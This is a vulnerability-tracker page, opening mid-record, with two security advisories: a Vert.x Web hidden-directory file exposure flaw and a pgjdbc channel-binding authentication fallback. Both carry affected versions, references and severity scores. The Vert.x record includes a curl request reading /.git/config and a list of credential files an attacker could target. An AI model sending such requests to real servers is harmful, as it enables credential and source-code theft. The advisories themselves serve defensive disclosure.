(vulnerable)\ncurl http://localhost:8082/.git/config\n# Result: 200 OK - Returns contents of Git config\n```\n\n# Potential Impact\n\n## 1. Information Disclosure\n\nExamples of sensitive files that could be exposed:\n\n- `.git/config`: Git repository settings (e.g., remote URL, credentials)\n- `.env/*`: Environment variables (API keys, DB credentials)\n- `.aws/credentials`: AWS access keys\n- `.ssh/known_hosts`: SSH host trust info\n- `.docker/config.json`: Docker registry credentials\n\n## 2. Attack Scenarios\n\n- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.\n- Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` \u2014 which may allow full reconstruction of source code.\n\n## 3. Affected Scope\n\n- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)\n- **Environments**: All OSes (Windows, Linux, macOS)\n- **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`",
"id": "GHSA-h5fg-jpgr-rv9c",
"modified": "2025-10-22T19:38:04Z",
"published": "2025-10-22T19:38:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11965"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web Access Control Flaw in StaticHandler\u2019s Hidden File Protection for Files Under Hidden Directories"
}
GHSA-HQ9P-PM7W-8P54
Vulnerability from github – Published: 2025-06-11 14:44 – Updated: 2025-06-11 16:17
VLAI
Summary
pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration
Details
Impact
When the PostgreSQL JDBC driver is configured with channel binding set to required (default value is prefer), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.
Patches
TBD
Workarounds
Configure sslMode=verify-full to prevent MITM attacks.
References
- https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256
- https://datatracker.ietf.org/doc/html/rfc7677
- https://datatracker.ietf.org/doc/html/rfc5802
Severity
8.2 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.postgresql:postgresql"
},
"ranges": [
{
"events": [
{
"introduced": "42.7.4"
},
{
"fixed": "42.7.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49146"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-11T14:44:04Z",
"nvd_published_at": "2025-06-11T15:15:42Z",
"severity": "HIGH"
},
"details": "### Impact\nWhen the PostgreSQL JDBC driver is configured with channel binding set to `required` (default value is `prefer`), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.\n\n### Patches\nTBD\n\n### Workarounds\n\nConfigure `sslMode=verify-full` to prevent MITM attacks.\n\n### References\n\n* https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256\n* https://datatracker.ietf.org/doc/html/rfc7677\n* https://datatracker.ietf.org/doc/html/rfc5802",
"id": "GHSA-hq9p-pm7w-8p54",
"modified": "2025-06-11T16:17:03Z",
"published": "2025-06-11T14:44:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-hq9p-pm7w-8p54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49146"
},
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/commit/9217ed16cb2918ab1b6b9258ae97e6ede244d8a0"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc5802"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7677"
},
{
"type": "PACKAGE",
"url": "https://github.com/pgjdbc/pgjdbc"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…